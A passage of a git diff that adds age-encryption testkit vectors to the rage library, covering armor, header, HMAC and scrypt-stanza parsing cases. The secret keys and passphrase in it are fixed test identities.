+ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +----- END AGE ENCRYPTED FILE ----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_whitespace_eol b/lib/rage/age/tests/testdata/testkit/armor_whitespace_eol new file mode 100644 index 0000000..d0a5904 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_whitespace_eol @@ -0,0 +1,12 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_whitespace_last_line b/lib/rage/age/tests/testdata/testkit/armor_whitespace_last_line new file mode 100644 index 0000000..f925d3a --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_whitespace_last_line @@ -0,0 +1,12 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_whitespace_line_start b/lib/rage/age/tests/testdata/testkit/armor_whitespace_line_start new file mode 100644 index 0000000..6093e97 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_whitespace_line_start @@ -0,0 +1,12 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz + ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- diff --git a/lib/rage/age/tests/testdata/testkit/armor_whitespace_outside b/lib/rage/age/tests/testdata/testkit/armor_whitespace_outside new file mode 100644 index 0000000..76b891a --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_whitespace_outside @@ -0,0 +1,18 @@ +expect: success +payload: 013f54400c82da08037759ada907a8b864e97de81c088a182062c4b5622fd2ab +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes +comment: whitespace is allowed before and after armored files + + + +-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED FILE----- + + diff --git a/lib/rage/age/tests/testdata/testkit/armor_wrong_type b/lib/rage/age/tests/testdata/testkit/armor_wrong_type new file mode 100644 index 0000000..28f6d16 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/armor_wrong_type @@ -0,0 +1,12 @@ +expect: armor failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +armored: yes + +-----BEGIN AGE ENCRYPTED MESSAGE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IFgyNTUxOSBURWlGMHlwcXIrYnB2Y3FY +TnlDVkpwTDdPdXdQZFZ3UEw3S1FFYkZET0NjCkVtRUNBRWNLTituL1ZzOVNiV2lW +K0h1MHIrRThSNzdEZFdZeWQ4M253N1UKLS0tIFZuKzU0anFpaVVDRStXWmNFVlkz +ZjFzcUhqbHUvejFMQ1EvVDdYbTdxSTAK7s9ix86RtDMnTmjU8vkTTLdMW/73vqpS +yPC8DpksHoMx+2Y= +-----END AGE ENCRYPTED MESSAGE----- diff --git a/lib/rage/age/tests/testdata/testkit/header_crlf b/lib/rage/age/tests/testdata/testkit/header_crlf new file mode 100644 index 0000000..69cafae --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/header_crlf @@ -0,0 +1,10 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 +comment: lines in the header end with CRLF instead of LF + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +hjabGXwSLQ9c3S6Lw2i+S2Tu2fiwQHHslbBN6B41FLE +--- 2KIGb7ye32MWtUuEVWkO3MP6qCDLzOvT9wF06lelBSI +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/hmac_bad b/lib/rage/age/tests/testdata/testkit/hmac_bad new file mode 100644 index 0000000..5021bb6 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/hmac_bad @@ -0,0 +1,9 @@ +expect: HMAC failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +hjabGXwSLQ9c3S6Lw2i+S2Tu2fiwQHHslbBN6B41FLE +--- 8McE3ix9R34E/vLrQv3yepsHjo/LXhfs22Ab3UyInmg +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/hmac_extra_space b/lib/rage/age/tests/testdata/testkit/hmac_extra_space new file mode 100644 index 0000000..f3bfd1e --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/hmac_extra_space @@ -0,0 +1,9 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +hjabGXwSLQ9c3S6Lw2i+S2Tu2fiwQHHslbBN6B41FLE +--- WyJp9F/9FOZh7gJdheq2WIJcwHgYc8NIVh3ddwhrcNg +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/hmac_garbage b/lib/rage/age/tests/testdata/testkit/hmac_garbage new file mode 100644 index 0000000..29e54ab --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/hmac_garbage @@ -0,0 +1,9 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +hjabGXwSLQ9c3S6Lw2i+S2Tu2fiwQHHslbBN6B41FLE +--- WyJp9F/9FOZh7gJdheq2WIJcwHgYc8NIVh3ddwhrcNgAAA +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/hmac_missing b/lib/rage/age/tests/testdata/testkit/hmac_missing new file mode 100644 index 0000000..6ecea2a --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/hmac_missing @@ -0,0 +1,9 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +hjabGXwSLQ9c3S6Lw2i+S2Tu2fiwQHHslbBN6B41FLE +--- +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/hmac_no_space b/lib/rage/age/tests/testdata/testkit/hmac_no_space new file mode 100644 index 0000000..9f1d80d --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/hmac_no_space @@ -0,0 +1,9 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +hjabGXwSLQ9c3S6Lw2i+S2Tu2fiwQHHslbBN6B41FLE +---WyJp9F/9FOZh7gJdheq2WIJcwHgYc8NIVh3ddwhrcNg +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/hmac_not_canonical b/lib/rage/age/tests/testdata/testkit/hmac_not_canonical new file mode 100644 index 0000000..fd18cda --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/hmac_not_canonical @@ -0,0 +1,10 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 +comment: the base64 encoding of the HMAC is not canonical + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +hjabGXwSLQ9c3S6Lw2i+S2Tu2fiwQHHslbBN6B41FLE +--- WyJp9F/9FOZh7gJdheq2WIJcwHgYc8NIVh3ddwhrcNh +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/hmac_trailing_space b/lib/rage/age/tests/testdata/testkit/hmac_trailing_space new file mode 100644 index 0000000..2e216bd --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/hmac_trailing_space @@ -0,0 +1,9 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +hjabGXwSLQ9c3S6Lw2i+S2Tu2fiwQHHslbBN6B41FLE +--- WyJp9F/9FOZh7gJdheq2WIJcwHgYc8NIVh3ddwhrcNg +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/hmac_truncated b/lib/rage/age/tests/testdata/testkit/hmac_truncated new file mode 100644 index 0000000..e7f7196 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/hmac_truncated @@ -0,0 +1,9 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +hjabGXwSLQ9c3S6Lw2i+S2Tu2fiwQHHslbBN6B41FLE +--- WyJp +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/scrypt b/lib/rage/age/tests/testdata/testkit/scrypt new file mode 100644 index 0000000000000000000000000000000000000000..57dd08f0e7b2312db772e8f24d786de3bb3da187 GIT binary patch literal 340 zcmW-aJ5Iwe06>{DA_k-`W+&8f?8b=%5>zcMC6x5vY>w@uKbkZSZNmk)0}^n79)KN* zGaw{ZHjaQqL2r3_%aiLw^2`D1mUF3;mau#lGvNSem?6O!LQaujkV4b4h|L7Ep~YxG zOIX^LkksIiQf5#DONiruln@F9Vu2QpXA(?h?f_zAg87z^SO^l65R98^`mbIE{)+L(@-y`fnhu!s68`n00HlP7--hE0Lt^ z0Rw7LcT&l3stva{@G1@Ay0uG$Djud`l0UyTq}^bulvuP59c-CJZFaoKl^^+>G)ec?rkOy K*SqdZ`2GvoZEjrv literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_and_x25519 b/lib/rage/age/tests/testdata/testkit/scrypt_and_x25519 new file mode 100644 index 0000000..90a61fd --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/scrypt_and_x25519 @@ -0,0 +1,13 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-143WN7DCXU4G8R5AXQSSYD9AEPYDNT3HXSLWSPK36CDU6E8M59SSSAGZ3KG +passphrase: password +comment: scrypt stanzas must be alone in the header + +age-encryption.org/v1 +-> X25519 ajtqAvDEkVNr2B7zUOtq2mAQXDSBlNrVAuM/dKb5sT4 +U+hKlJ4isweJ9PKG7pgscmG3cPASLgTw7SOBpbZ8x2U +-> scrypt 3d9y0G+8q1ffPQ0xJJatIQ 10 +foZolxuhRSL7IG7oaR+456IzkHtvue7j4mUjh3DB6EI +--- yp4Z0lV1LEdkm1+uDCuPUV+9hIXbPKrBXKQ/f5Y03As +T^kôƉ>)ìÍ, r±ÌFlž'cÏô’‚ž›¸Vµ \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_bad_tag b/lib/rage/age/tests/testdata/testkit/scrypt_bad_tag new file mode 100644 index 0000000000000000000000000000000000000000..b47512f0d17028b2b684b53248d07d3f5ce27d14 GIT binary patch literal 358 zcmXYp%}&BV6op;S(zq~TGw!XlWhP1!O-KO?Sox>uZfK{|AKIzy2$UD_9Zb|0-~rs5 z_zcFxtvesV#6rxu$@y~cJ%_FmY6}g<97aUg9&r6Rg(1x~h^q)AyO4`dRT)<>Mk;cU zf>l&S6k(8%EK9tUWK@G&Uh>odHjg427mdQBQ1?hNs@&uAT&c(ylKWyE3*RQf=P?w7 z!L1dqGw$S&yF1S8G*1M~1c}!K`WalNJZ1n8MkN~Wjz#)}r>wkCfOG->18Gw(UoU6# zv0;o7)@Or+V!aO)8L)BC$fIV*oJ{+Tj$@j}m5TTcT?LKGsHMwYd3`y&YpY}y0!fnK zFs<=$+LAHhp|YU1UgP@Yj9EdwT{o scrypt rF0/NwblUHHTpgQgRpe5CQ 10 +gUjEymFKMVXQEKdMMHL24oYexjE3TIC0O0zGSqJ2aUY +-> scrypt GzXG5ofdANo6w3msn3QsIQ 10 +OveITuwxakv7k2oLnioNYF4Bhgz9KZ36pb098wDoAv8 +--- a5d+4Ay1evJhoDskIzuTZV9bBgKk4573VZNfuoWJDPE +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_extra_argument b/lib/rage/age/tests/testdata/testkit/scrypt_extra_argument new file mode 100644 index 0000000000000000000000000000000000000000..3fa92ee932400a1646428ead4d88330775c1b4e2 GIT binary patch literal 335 zcmW-ZO-{l<9K~JF(zq~TGp@DLmKhCAbO97mEK;E;?xyX(A6PnNrV8Z(-oZq@00(ey z;u(yITX!D8#7f>h> ziBB}DlR5!HQO2aqBEcjW_&?9N@R7%-Q%K9-JOb>N-2uUndfboG5c6P-WyA#FSmKoD z*kdVAV~-^Wu@IDUD~c?SdAiRoz5@|?eH=K+O)BzmPVm7 zF^g%tYmKgLv+G+{=UgXz42y|b8=f}R3w3!in4Rg&86!neu-npHUbOV7Xv~tvcvm{z z)Z%@&H*!pSsrs>2Tn*Y*6)cG=^!@wcYva>+D^@T0-p=p#P38IMM?P(>CXfA1>oxfJ E0|%pVqW}N^ literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_long_file_key b/lib/rage/age/tests/testdata/testkit/scrypt_long_file_key new file mode 100644 index 0000000000000000000000000000000000000000..669c22257c94386469dff68ab80cb1152adf8856 GIT binary patch literal 377 zcmXwyOG?8~7=<0*fg2FvcdRjw-kZ`2f)!04Qq(qD>L^YAB+cuFoAePk-~x0e;s$gD zb|Qjp1KgE-6Ei}v+e<0$D*eLYC&Trs-FC3S;oT$Niml$(JO zPTWq|)%2lBBuRozleTqtkQtG>=Y;d4fcM%;G&POmK&}iX-KwTH;!c0Yxk=X8>&Mmm g%3J-Vc(~8EHZFG7uWy$(%g5){&%4EwShT*r0fGa7TmS$7 literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_no_match b/lib/rage/age/tests/testdata/testkit/scrypt_no_match new file mode 100644 index 0000000000000000000000000000000000000000..3d090e184d3eb69325430b9eebd2a5cc51ab1bd9 GIT binary patch literal 264 zcmYeTC`e5%u~Nv(SIA8)NzUL(%gjkt$WE=aQZThNF*QjB!ZcHJBLh=oQ&STolN1v} zQzH{glT;H^u7bqk;)0B##Nt#dh4P~OymT(E#Pn3%)V$=P%7T*2{5-w9J?+cNuP39j;t6zeGpzuSAseJlnU$b4Au<%?c3m I-H~- ziaexX6*Un>7-S^Rvrv$nYVg0WxbT3>)0DF6w+Jb8DtCq;WiIz37C`Rra2^stVU$D0 z3+NKYS>%!g01{BC+KMtOBF;{^23M5H_`m#ChTCLpG9j7x6xH3tV ztAQOdUJm>7MV$5Hp}sMWT@iyCe*b>>+WXYr%I!;Wa`byRtvz4-f?xygELTSMPDR=?zV4_~22XJrV z8H|ZrcOJpSN50K3AJjScrHbdk0^m4gaeBi6g>eda0gZ}jhfw1G7ScmSqHRivLINUF zg>(oIigH#I`JA%?RQ%_4#sh>{1Olvl-sEMRtqw9CiIt3m6I}d1%)63!ww|SKzwhMH zB%0x#~;*`iEpW-p0VML}C1_2QvD7OTK6dB^k$)S|DScOP5t>PxeED);xkcduHH$6v+6 N&L+9Hw$118?FS4yTw(wK literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_salt_long b/lib/rage/age/tests/testdata/testkit/scrypt_salt_long new file mode 100644 index 0000000000000000000000000000000000000000..66e37f93776172a1fb5c876b22631b8021e4f4cf GIT binary patch literal 278 zcmW;AJx_x`9Ds2Lr&~Ci+9p8m{233O;c@!l8y)bflFIB4`_>Dz(pNh-JG2K z3JxYN?k27s9Q+Etyj#!B<9)Ta^Ys?KXitmp S*RA#K=K8_Bvp=ny>+K&g_FwJ* literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_salt_missing b/lib/rage/age/tests/testdata/testkit/scrypt_salt_missing new file mode 100644 index 0000000..880b0e1 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/scrypt_salt_missing @@ -0,0 +1,9 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +passphrase: password + +age-encryption.org/v1 +-> scrypt 10 +W0mMthyhNJOV3debCwkQcUlNx/i6Ss/A07aQCrG5Gcw +--- 1QsPcEbBSylfP4apakJqtDBJMrpd81rPuSLTCvdZx6E +¬]?7åPqÓ¦ F—¹ •Â÷õÛ®è zŒ(rŠóÎ| \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_salt_short b/lib/rage/age/tests/testdata/testkit/scrypt_salt_short new file mode 100644 index 0000000000000000000000000000000000000000..a95f4608584930ff0805b2ba268f2b61c258e0e2 GIT binary patch literal 267 zcmW;AJ5Iwe9Ds3FydWk97GEIE%PuqnQdJUKwMqab1+gGE{>P1)hjB{UWMg9N$R)S{ z0}~S50g0{R96aaSFE=z62gQK(+XeETUUm=Z`}gD5&ZqO%Ja6O4X4BdFdjZdGKeUI} GgZ&@;hFTy1 literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_uppercase b/lib/rage/age/tests/testdata/testkit/scrypt_uppercase new file mode 100644 index 0000000000000000000000000000000000000000..88bd1e424ddf209cb05b398d03304301ce5f87c8 GIT binary patch literal 267 zcmW;AzfOZd0Dy7l8;yfWmvdI+pm%9Xq6>wB6a@>7?RFjqEf%-}O7R7J2NU%L`T*`G zK7%oFb@LHS{F86_<>PC?S*^jmfElgX9K?$yhgZDSAn9X**>5rFsfct5!77fhLR8$x z91|dDRf%~?E3UymH$@o%Koc(UoRzJp7e#(pl!<(!0O=Tx{~s((B%d~y%h0j{k@(5E z;6(SKf)I6t9rF5l_p$Y^y|kOB`e5&Sch-44`l=pwHtD^$ I?LNnEKS`!p9{>OV literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_23 b/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_23 new file mode 100644 index 0000000..4d286be --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_23 @@ -0,0 +1,10 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +passphrase: password +comment: work factor is very high, would take a long time to compute + +age-encryption.org/v1 +-> scrypt rF0/NwblUHHTpgQgRpe5CQ 23 +qW9eVsT0NVb/Vswtw8kPIxUnaYmm9Px1dYmq2+4+qZA +--- 38TpQMxQRRNMfmYYpBX6DDrPx4/QY5UmJnhPyVoX/cw +¬]?7åPqÓ¦ F—¹ •Â÷õÛ®è zŒ(rŠóÎ| \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_hex b/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_hex new file mode 100644 index 0000000000000000000000000000000000000000..a1feca9aa4e54755b879c89c1e2041e7f1f24e74 GIT binary patch literal 274 zcmYeTC`e5%u~NuLO-xBGQbRtPcOeH zUBAqbOV>`J7%ZkxfsSmkRF&GRFG=w9H?MWk;s)En&n!V>*nnn77^&` zo#N~3;bUZyADLQ_1^O{P~{$6=w*}`8p)-rtE&)|kye&#RvwX_dPfEDlN@$+sOO9bxhRFdr!LczK4~CKK`U-9I6y9;2liV3-kc) zO+14!aqG?_nD~=-^W=r40DocP7`y-^4!tD1k$}P^1AGOQiMhcz^M4EZJ|$e|oKY4q zjZpgrC`2s10!;kpGM52DUIYrveOZY`lFxT@8L77#QVwzP|FCQm^{kv`u5AxR z)Q<)Nc(ad*Mo{FYRyAvPoY7_9>I9BscPY!quuLs|c+w>2q&~j5KBb;JMv9`~y;$$D z?UGd^L4eV`c3XZ+t!G`=SBJFBI@Vxn@H#x246)QYtF75b17&4=Ak#23o)icn1^p0zH6x z6VG5w+`97!CjR8zJb9tcz%NxC0}FuTkj)k=4k(;00MDUOG3^pc{NF;_kwvOdN@Nlc ziOQr)fKZgNqR3*-3Q+N%tCR-_u?PfM`n<`?S-Lz(dDLD@NI1g9|HE7t+h^7F!ZD0V z7TM7_13Iv=D9I>t60Nz>N0xhKYooxjj8mDU9@L4ZOojvTT)aKG%uSg&9uforr}hf0 zxhdtIYxIsCs@J45?TL{)jJ>{Mxp`k_a~PYIVWSp({k;3wdRJeX%~QF*_q{u9Jsy4) P4?COW{$ksD4&QzNE^AxV literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_missing b/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_missing new file mode 100644 index 0000000000000000000000000000000000000000..62c14e21f010214bda0625ebeb5f33dd255b10ba GIT binary patch literal 270 zcmW;AOHPA89Ds4xvotPDx*6As1v(Q7iEb)Q8(Xy4`si+eKa}#C4p6`gcn1^p0zH6x z6VG5w+`97!CO-0Qe)*v0;1&j60P{d#pM`NL0Qq4IID*E&R40_Uzxh;CW!j;XsKg@* zRf$f3P{diD^MznJ82HasCOm{#01~9GXm}B3>0u^<_F6&GG0y)V7Ja#GRZct`45mDo z1U3iSn;>Peidoj1@hG^x8SZD(3z;ico#)m*1Hc!RD-uLdj^?3A^KkRIl L_vhQ=XaDU7oUvT3 literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_negative b/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_negative new file mode 100644 index 0000000000000000000000000000000000000000..eaf540005c414b593dfc01787a2beb0a9e9ad058 GIT binary patch literal 274 zcmW;AO-_SA7=U5dvotPDx*7K(1D#0=iEa?At}d0|z6SE)Dx*9VRRH%@Okpdd~GUqP#4rcg$`-vZW?3F|UOW$IIj z$yA|087kbeEF$ifpyEF_IrkBALl7YIcw1C)o*m>o6l)0yN4Wfdm>Wd2n#WmX$R6HA%ZwSHU<*NtfR=d_AM=@HP)t7ejRPFD5?=Cx!hhOEx N&L+8^Y@5%)+Ydx`Tsi;% literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_overflow b/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_overflow new file mode 100644 index 0000000000000000000000000000000000000000..03aeb0306dbe370b096a837d4a65ed151f4e4841 GIT binary patch literal 290 zcmW-aO-_SA7(iXm(zr0`X55RwFe8*iliCzPL~SXibVuQX{xcnFTY3TSV4_~22XJrV z8H|ZrcOJpSYToAMZ62&R#B&q(Axc2tG#ZTW1fX;<20Vh&#H>mgjklysCkoRTql6|@ zWrS8KP=68#UKoEc~uBTFarPIy}|GTFbHGGX+)H+t>Z)&WHJ0 bZl33d2S5AW%G1er@wm4cKHThjFX{U)-iKcF literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_trailing_garbage b/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_trailing_garbage new file mode 100644 index 0000000000000000000000000000000000000000..bf3bfd5f276efbefcfcfe4cf32f1f25f2bfd19c5 GIT binary patch literal 277 zcmW-VO-{l<7(iXm(zq~TGp@B#hM7Q{XaWQ*wpA-X5q4wywX_yG&Qxi=fOjxaFTerZ zn|KCe;?|ualXo)HNiX?aGzEy#A2J8O^#YmB7?Xs9pCO(hd*y9vi zE>snuCaWS~)|}_@=E^=~{-wgz*}61t`lBpe4!mI|T8@;`8v;p^U}_YTbn0|rzOeKK zadSD-3*n4QE85udxke&qHSSI_e_(?ie*L`r*m*Z!y6sbQbnv}@-FrO!svq{Y+5N@t I^f`L_0p?3ut^fc4 literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_zero b/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_zero new file mode 100644 index 0000000000000000000000000000000000000000..9d8c2789748d57166bfa04e515328190ec234455 GIT binary patch literal 272 zcmYeTC`e5%u~NuLO-xBGQbRtPcOeH zUBAqbOV>`J7%ZkxfsSmkRF&GRFG=w9H?Nxl^&YqTAAzS?Hd*m=<1!~ z>+9iTWRf45T9M^y9OCJ0;BQdn9$e^Ulo%SxrK_u}kfv*{mL95Y80F$$P;Bay zXkwaMWf|bCpIemepOa)@X5p3=;TvqhC2e}_S^HgvTULiF*UT@`QT!_rB|XpfZSh=@ OHCeL)gnW0T-2ecb+gnWl literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/stanza_bad_start b/lib/rage/age/tests/testdata/testkit/stanza_bad_start new file mode 100644 index 0000000..d040d65 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_bad_start @@ -0,0 +1,11 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> 